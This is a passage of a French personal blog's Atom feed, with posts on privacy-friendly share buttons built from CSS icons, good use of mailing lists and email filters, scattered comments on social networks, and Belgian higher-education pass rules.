&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="kt"&gt;em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;#eee&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;social&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nt"&gt;_twitter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\\e094&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;et&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;toutes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;les&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;classes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;qui&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;m&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;intéressent&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;une&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;par&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;icône&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;N&amp;rsquo;hésitez pas à partager (voire &lt;em&gt;flattrer&lt;/em&gt;) l&amp;rsquo;article &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;… en utilisant les liens en bas de l&amp;rsquo;article.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://open-time.net/post/2013/11/05/Plugin-AddToAny-01-pour-Dotclear"&gt;Open-Time, plugin AddToAny&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.addtoany.com/"&gt;AddToAny&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://addthis.com/"&gt;AddThis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/bouton-partage-twitter-facebook-sans-tracking.html"&gt;Korben, boutons de partage sans tracking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ohax, boutons sociaux sans tracking &lt;a href="https://github.com/Ohax/Boutons-sociaux-sans-tracking"&gt;git&lt;/a&gt; , &lt;a href="http://ohax.fr/ajouter-les-boutons-de-partage-des-reseaux-sociaux-sans-le-tracking-de-vos-visiteurs"&gt;le blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://plugins.dotaddict.org/dc2/details/odt"&gt;Plugin Export ODT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kozlika.org/kozeries/"&gt;Kozlika&lt;/a&gt; pour l&amp;rsquo;info sur &lt;a href="http://www.elegantthemes.com/blog/resources/elegant-icon-font#comment-100471"&gt;Elegant Thème&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;deviantart&lt;/a&gt; par &lt;a href="http://fav.me/d26i3eo"&gt;Schokolein&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Étant donné le faible taux de partage de mes articles, ces « stats » me donnaient plus le cafard qu&amp;rsquo;autre chose. Bref.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je trouve toujours que ça fait un peu pute de demander systématiquement de partager l&amp;rsquo;article, mais pour une fois …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Du bon usage d'une mailing list</title><link href="http://blog.namok.be/2013-10-29-bon-usage-mailing-list.html" rel="alternate"/><published>2013-10-29T00:00:00+01:00</published><updated>2013-10-29T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-10-29:/2013-10-29-bon-usage-mailing-list.html</id><summary type="html">Du bon usage d'une mailing list</summary><content type="html">&lt;p&gt;Le monde est un village social dans lequel tout le monde essaie de communiquer …&lt;/p&gt;
&lt;p&gt;— Ah non ! Moi, j&amp;rsquo;lis pas ces mails.&lt;/p&gt;
&lt;p&gt;— Votre groupe là, il y a trop de mails qui ne m&amp;rsquo;intéressent pas.&lt;/p&gt;
&lt;p&gt;&lt;img alt="conversation_by_divinedecay.jpg" src="https://blog.namok.be/public/images/divers/2013/conversation_by_divinedecay.jpg" title="conversation_by_divinedecay.jpg, oct. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Si on est d&amp;rsquo;accord de procrastiner sur Facebook ou de jouer à Angry birds, on n&amp;rsquo;est, par contre, pas d&amp;rsquo;accord de recevoir « trop » de mails. Que veut dire « trop de mails » dans le cadre d&amp;rsquo;une &lt;em&gt;mailing list&lt;/em&gt;, d&amp;rsquo;une participation à un groupe ou à un projet ?&lt;/p&gt;
&lt;p&gt;Une &lt;em&gt;mailing list&lt;/em&gt; (liste de diffusion, liste de discussion, « groupe », …) abrégée en &lt;strong&gt;ML&lt;/strong&gt; est un ensemble de destinataires pour un courrier électronique. Plutôt que d&amp;rsquo;envoyer un mail individuellement à chaque personne, l&amp;rsquo;expéditeur envoie un mail à la liste … qui se chargera d&amp;rsquo;envoyer le mail à chacun.&lt;/p&gt;
&lt;p&gt;La différence entre une liste de diffusion et une liste de discussion réside dans le paramétrage de la liste. Pour une liste de discussion, les expéditeurs sont tous les membres de la liste tandis que la liste de diffusion ne va que dans un sens.&lt;/p&gt;
&lt;p&gt;Si je suis intéressé par un projet, je peux en fonction de ce que les responsables du projet ont mis en place :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;m&amp;rsquo;abonner à la liste de diffusion;&lt;/li&gt;
&lt;li&gt;suivre le compte Twitter;&lt;/li&gt;
&lt;li&gt;m&amp;rsquo;abonner au flux de syndication;&lt;/li&gt;
&lt;li&gt;m&amp;rsquo;abonner à la page Facebook, G+;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je serai alors informé des annonces / nouveautés que les responsables du projet veulent me faire parvenir. Si / lorsque je ne suis plus intéressé, je peux me désabonner sans difficulté.&lt;/p&gt;
&lt;p&gt;Une ML conserve tous les messages envoyés et les archives sont toujours disponibles (publiquement ou pour les membres en fonction des réglages) pour y faire référence.&lt;/p&gt;
&lt;p&gt;Dans le cas d&amp;rsquo;un &lt;strong&gt;groupe&lt;/strong&gt; qui désire trouver une manière de communiquer, les outils à disposition sont un peu différents même s&amp;rsquo;ils se regroupent sous le vocable général de « groupes »:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;liste de discussion &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;les réseaux sociaux (Facebook, G+, Groopus…)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les principaux avantages d&amp;rsquo;une liste de discussion, c&amp;rsquo;est que je ne dois pas gérer la liste des membres (chaque membre gère son inscription), je peux consulter les archives et je peux choisir de la manière de recevoir l&amp;rsquo;information.&lt;/p&gt;
&lt;p&gt;Au sujet de la ML, il faut toujours se rappeler que &lt;strong&gt;je&lt;/strong&gt; décide d&amp;rsquo;utiliser un outil de communication entre les membres d&amp;rsquo;un groupe.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Si je ne suis plus intéressé, je quitte le groupe.&lt;/li&gt;
&lt;li&gt;Si la quantité d&amp;rsquo;information, le ton, le contenu, … ne me convient pas, je le dis au groupe ou je quitte le groupe.&lt;/li&gt;
&lt;li&gt;Je parle toujours au groupe sauf lorsque j&amp;rsquo;estime que ça ne concerne pas le groupe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Un peu de technique …&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;L&amp;rsquo;inscription&lt;/h4&gt;
&lt;p&gt;Supposons que la liste s&amp;rsquo;appelle &lt;code&gt;maliste.example.org&lt;/code&gt; (vous pouvez en voir un exemple chez &lt;a href="http://fr.groups.yahoo.com/group/malisteexemple/"&gt;Yahoo&lt;/a&gt;, chez &lt;a href="https://groups.google.com/forum/#!forum/malisteexemple"&gt;Google&lt;/a&gt;, chez &lt;a href="http://list.namok.be/wws/info/asap"&gt;moi&lt;/a&gt; …).&lt;/p&gt;
&lt;p&gt;Quel que soit l&amp;rsquo;outil utilisé, il est toujours possible de s&amp;rsquo;inscrire à la liste (moyennent validation éventuelle) et de se désinscrire par simple envoi de mails:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;s&amp;rsquo;inscrire en envoyant un mail à &lt;code&gt;maliste-subscribe@example.org&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;se désinscrire en envoyant un mail à &lt;code&gt;maliste-unsubscribe@example.org&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;participer en envoyant des mails à &lt;code&gt;maliste@example.org&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces informations sont renseignées sur la page de la ML.&lt;/p&gt;
&lt;h4&gt;La participation&lt;/h4&gt;
&lt;p&gt;Les règles de participation à la mailing liste sont régies par le groupe… il existe cependant des habitudes de bonne pratique liées (ou pas) à la netiquette. J&amp;rsquo;en avais &lt;a href="2007-12-06-netiquette.html"&gt;déjà touché un mot&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Avant de poster, je m&amp;rsquo;assure que l&amp;rsquo;information a un intérêt pour le groupe. Si je m&amp;rsquo;autorise des messages HS (hors sujet) c&amp;rsquo;est que je sais que le groupe le tolère … parfois.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Comme toute communication, c&amp;rsquo;est toujours mieux de réagir à froid et d&amp;rsquo;éviter les interventions chargées d&amp;rsquo;émotion, on parle bien d&amp;rsquo;un écrit « qui perdure ».&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La forme, l&amp;rsquo;orthographe, la grammaire, l&amp;rsquo;utilisation de passage à lignes, revêtent une grande importance. Pour beaucoup, elles reflètent le respect porté aux membres de la liste.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La remise dans le contexte &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; permet aux lecteurs de rapidement savoir de quoi il s&amp;rsquo;agit et à quoi l&amp;rsquo;auteur du message répond.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;La quantité&lt;/h4&gt;
&lt;p&gt;Si l&amp;rsquo;on ne veut pas recevoir trop de mails de la part du groupe, il est possible avec toute mailing liste de choisir parmi ces trois possibilités:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;recevoir chaque mail;&lt;/li&gt;
&lt;li&gt;recevoir un résumé une fois par semaine;&lt;/li&gt;
&lt;li&gt;ne recevoir aucun mail et consulter les archives quand on veut&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Le classement&lt;/h4&gt;
&lt;p&gt;Il est tout à fait habituel d&amp;rsquo;avoir peur de la quantité de mails que va générer la ML comme il est normal de vouloir traiter ces mails au moment où l&amp;rsquo;on est disponible pour le groupe. Pour faire simple, il suffit de &lt;strong&gt;classer ces mails dans un répertoire dédié&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Pour ce faire, il faut créer un &lt;strong&gt;filtre&lt;/strong&gt; sur les messages entrants … filtre leur demandant de se placer dans un répertoire particulier lorsqu&amp;rsquo;ils arrivent afin de, par exemple, ne pas «polluer» l_&amp;rsquo;inbox_ (la boite de réception) avec les mails de la liste de discussion.&lt;/p&gt;
&lt;p&gt;Le filtre est de la forme « si le sujet du message contient [nom de la liste] déplacer le message dans &lt;un répertoire de votre choix&gt; ». Si vous utilisez un webmail, c&amp;rsquo;est tout à fait possible de faire de même.&lt;/p&gt;
&lt;p&gt;Par exemple avec Gmail &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;, choisir: &lt;code&gt;Settings / Filters / Create new filter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Dans le champ &lt;code&gt;Subject&lt;/code&gt; renseigner une valeur de la forme&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[nom de la liste]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;si le format du mail reçu est de la forme&lt;/p&gt;
&lt;p&gt;« &lt;code&gt;[nom de la liste] le sujet du jour&lt;/code&gt; ».&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.namok.be/public/images/divers/2013/mailinglist/screenshot-blevert.png" title="screenshot-blevert.png"&gt;&lt;img alt="screenshot-blevert.png" src="https://blog.namok.be/public/images/divers/2013/mailinglist/.screenshot-blevert_m.png" title="screenshot-blevert.png, nov. 2013"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cette valeur correspondra à tous les sujets de mail contenant la valeur « nom de la liste » entre crochet … ce qui sera généralement le cas.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.namok.be/public/images/divers/2013/mailinglist/screenshot-blevert-2.png" title="screenshot-blevert-2.png"&gt;&lt;img alt="screenshot-blevert-2.png" src="https://blog.namok.be/public/images/divers/2013/mailinglist/.screenshot-blevert-2_m.png" title="screenshot-blevert-2.png, nov. 2013"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ce classement est pratique (et indispensable pour moi).&lt;/p&gt;
&lt;p&gt;Pour conclure, une ML n&amp;rsquo;est absolument pas un outil obsolète (même s&amp;rsquo;il est vieux), il permet une communication aisée entre les membres d&amp;rsquo;un groupe. Lorsqu&amp;rsquo;elle est bien utilisée, la ML, nous fournit des archives claires dans lesquels il est souvent possible de retrouver l&amp;rsquo;information …&lt;/p&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale …&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.list.org/"&gt;Mailman&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://netiquette.fr/"&gt;La netiquette&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://facebook.com/"&gt;Facebbok&lt;/a&gt;, &lt;a href="https://blog.namok.be/htt%C3%A9://plus.google.com"&gt;G+&lt;/a&gt;, &lt;a href="http://groopus.com/"&gt;Groopus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mailing list chez &lt;a href="http://groups.yahoo.com/"&gt;Yahoo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mailing list chez &lt;a href="gttp://groups.google.com"&gt;Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mailing list possible chez &lt;a href="http://sourceforge.org/"&gt;Sourceforge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez deviantart par &lt;a href="http://divinedecay.deviantart.com/art/conversation-34603937"&gt;divine decay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Pour mettre en place une ML, on se tournera vers des outils tels que &lt;a href="http://www.list.org/"&gt;Mailman&lt;/a&gt;, &lt;a href="http://www.sympa.org/"&gt;Sympa&lt;/a&gt; ou vers les sites « habituels » tels que groups.yahoo.com, groups.google.com, …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Que l&amp;rsquo;on cite avant ou après a finalement peu d&amp;rsquo;importance tant que les messages de la liste restent cohérents&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Ça m&amp;rsquo;ennuie un peu de prendre Gmail comme exemple et je répète que ça fonctionne avec n&amp;rsquo;importe quel « client » mail.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>T'as lu le dernier article de François ?</title><link href="http://blog.namok.be/2013-10-24-lu-dernier-article-francois.html" rel="alternate"/><published>2013-10-24T00:00:00+02:00</published><updated>2013-10-24T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-10-24:/2013-10-24-lu-dernier-article-francois.html</id><summary type="html">ou mais où sont passés les commentaires ? Au 4 coins du monde.</summary><content type="html">&lt;p&gt;— Tu as lu le dernier livre de François Pignon sur ses constructions en allumettes ?&lt;/p&gt;
&lt;p&gt;— Oui pas mal, bien que je n&amp;rsquo;aime pas le message sur son répondeur !&lt;/p&gt;
&lt;p&gt;&lt;img alt="life_cycle_by_ekbs-d2m4rde.jpg" src="images/life_cycle_by_ekbs-d2m4rde.jpg" title="life_cycle_by_ekbs-d2m4rde.jpg, oct. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Au temps du livre papier &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, lorsque sa lecture était terminée, les commentaires à son sujet, se faisaient de vive voix (au café) ou lors de rencontres familiales… voire lors d&amp;rsquo;une émission télé pour peu que le livre ait rencontré un quelconque succès.&lt;/p&gt;
&lt;p&gt;Il en était de même pour un article dans un journal ou dans une revue.&lt;/p&gt;
&lt;p&gt;Avec l&amp;rsquo;avènement des blogs et autres sites d&amp;rsquo;informations &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, lorsqu&amp;rsquo;un article est lu, les commentaires se font en bas de celui-ci et toute la discussion au sujet de l&amp;rsquo;article se fait au même endroit. Les moteurs de blog ont ensuite imaginé le principe du &lt;em&gt;trackback&lt;/em&gt; permettant de préciser en bas de l&amp;rsquo;article qu&amp;rsquo;un autre &lt;em&gt;blogueur&lt;/em&gt; / journaliste continuait la discussion ailleurs &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Souvent les commentaires (publiques et « écrits ») étaient centralisés au bas de l&amp;rsquo;article.&lt;/p&gt;
&lt;p&gt;— Et Dieu dit: « Que Facebook, Twitter et Google+ soient ! »&lt;/p&gt;
&lt;p&gt;— Dieu vit que cela était bon (ouais… enfin… bref !)&lt;/p&gt;
&lt;p&gt;À partir de ce moment, pour diffuser au maximum sa diatribe et être le plus lu possible, il à fallu répèter &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; son article sur un maximum de réseaux sociaux…&lt;/p&gt;
&lt;p&gt;… &lt;strong&gt;et les commentaires se sont disséminés aux quatre coins de l&amp;rsquo;internet !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui je trouve &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; des commentaires au bas de l&amp;rsquo;article, des commentaires sur Facebook et Google+ et parfois l&amp;rsquo;un ou l&amp;rsquo;autre &lt;em&gt;retweet with comment&lt;/em&gt; &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;. La discussion au sujet de l&amp;rsquo;article n&amp;rsquo;est plus centralisée au bas de celui-ci mais vit sa vie au gré des partages sur les réseaux sociaux &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Si je trouve que ça apporte un plus à la visibilité de l&amp;rsquo;article, n&amp;rsquo;est-il pas dommage pour le touché de tétons de ne pas savoir si l&amp;rsquo;article a été partagé, lu et commenté… il faudrait que les commentateurs prennent l&amp;rsquo;habitude de « citer » (au sens « il sera notifié ») l&amp;rsquo;auteur de l&amp;rsquo;article. De plus, en tant que lecteur, je ne sais pas toujours si je dois vais commenter directement en bas de l&amp;rsquo;article ou à la suite de l&amp;rsquo;annonce sur Facebook ou Google+, voire en retwittant le lien.&lt;/p&gt;
&lt;p&gt;Finalement l&amp;rsquo;importance de la centralisation c&amp;rsquo;est cet éternel &lt;a href="2013-07-23-ce-besoin-de-reconnaissance.html"&gt;besoin de reconnaissance&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://ifttt.com/"&gt;IFTTT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://facebook.com/"&gt;Facebook&lt;/a&gt;, &lt;a href="http://twitter.com/"&gt;Twitter&lt;/a&gt; et &lt;a href="http://plus.google.com/"&gt;Google+&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/classic-retweet/"&gt;Firefox, Classic retweet plugin&lt;/a&gt; &lt;a href="https://chrome.google.com/webstore/detail/classic-retweet/mejfljhfeahhhicjefeehikaooffggmf?hl=en"&gt;Google Chrome, Classic retweet plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://branch.com/"&gt;Branch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez DeviantArt par &lt;a href="http://ekbs.deviantart.com/art/Life-Cycle-158106002"&gt;eKBS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je ne dis pas qu&amp;rsquo;il est révolu mais que d&amp;rsquo;autres support à l&amp;rsquo;écrit existent&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Non, je ne compare pas mon blog à un site d&amp;rsquo;information&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Il était bien sur possible d&amp;rsquo;écrire un article sur le sujet sans faire de trackback et / ou d&amp;rsquo;envoyer un mail à un pote en lui conseillant de lire l&amp;rsquo;article. Dans ces cas-là, l&amp;rsquo;auteur n&amp;rsquo;était pas informé.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Pour ça, tous les moyens sont bons; à la main, en utilisant des outils tel &lt;a href="http://ifttt.com/"&gt;IFTTT&lt;/a&gt;, …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Je dis « je » mais on se comprend ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Aussi appelés &lt;em&gt;retweet à l&amp;rsquo;ancienne&lt;/em&gt; et Firefox et Google Chrome propose un &lt;em&gt;add on&lt;/em&gt; pour pouvoir encore faire ce type de retweet. &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/classic-retweet/"&gt;Firefox, Classic retweet plugin&lt;/a&gt; &lt;a href="https://chrome.google.com/webstore/detail/classic-retweet/mejfljhfeahhhicjefeehikaooffggmf?hl=en"&gt;Google Chrome, Classic retweet plugin&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Il n&amp;rsquo;est pas rare de trouver des sites sur lesquels il n&amp;rsquo;y a plus de possibilité de poster un commentaire mais où le partage accompagné d&amp;rsquo;un commentaire est encouragé ce qui permet à l&amp;rsquo;auteur du blog de se décharger de la responsabilité du commentaire. On trouve également des tentatives de centralisation des commentaires telle que Branch (que je n&amp;rsquo;ai pas trouvé concluant)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>La réussite à 10</title><link href="http://blog.namok.be/2013-10-01-decret-paysage-marcourt-1.html" rel="alternate"/><published>2013-10-01T00:00:00+02:00</published><updated>2013-10-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-10-01:/2013-10-01-decret-paysage-marcourt-1.html</id><summary type="html">Ou première version du décret Marcourt</summary><content type="html">&lt;p&gt;&lt;img alt="fish-pelican-second-chance-1024x682.jpg" src="images/fish-pelican-second-chance-1024x682.jpg" title="fish-pelican-second-chance-1024x682.jpg, oct. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;— Yes ! J&amp;rsquo;ai réussi.&lt;br&gt;
— Tu passes en deuxième ?&lt;br&gt;
— Heu non, j&amp;rsquo;ai quelques 10/20, je peux choisir d&amp;rsquo;autres modules…&lt;/p&gt;
&lt;p&gt;La condition de réussite la plus répandue&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; est la suivante:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;De la réussite de plein droit&lt;/strong&gt; Le jury d&amp;rsquo;examens déclare admis de plein droit l&amp;rsquo;étudiant qui a obtenu au moins 50% des points attribués à chaque examen et 60 % des points attribués à l&amp;rsquo;épreuve.&lt;/p&gt;
&lt;p&gt;(Extrait du règlement des études [&lt;a href="http://www.heb.be/documents/RDE.pdf"&gt;pdf&lt;/a&gt;])&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ces conditions sont généralement assorties de quelques règles internes explicites ou pas permettant au jury de faire quelques cadeaux. Chez nous, ces &lt;a href="2010-06-21-Deliberations-juin-2010.html"&gt;cadeaux sont automatiques&lt;/a&gt;… ça signe un peu la fin des &lt;a href="2012-09-20-proclamation-de-casseroles.html"&gt;délibérations proprement dite&lt;/a&gt;&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
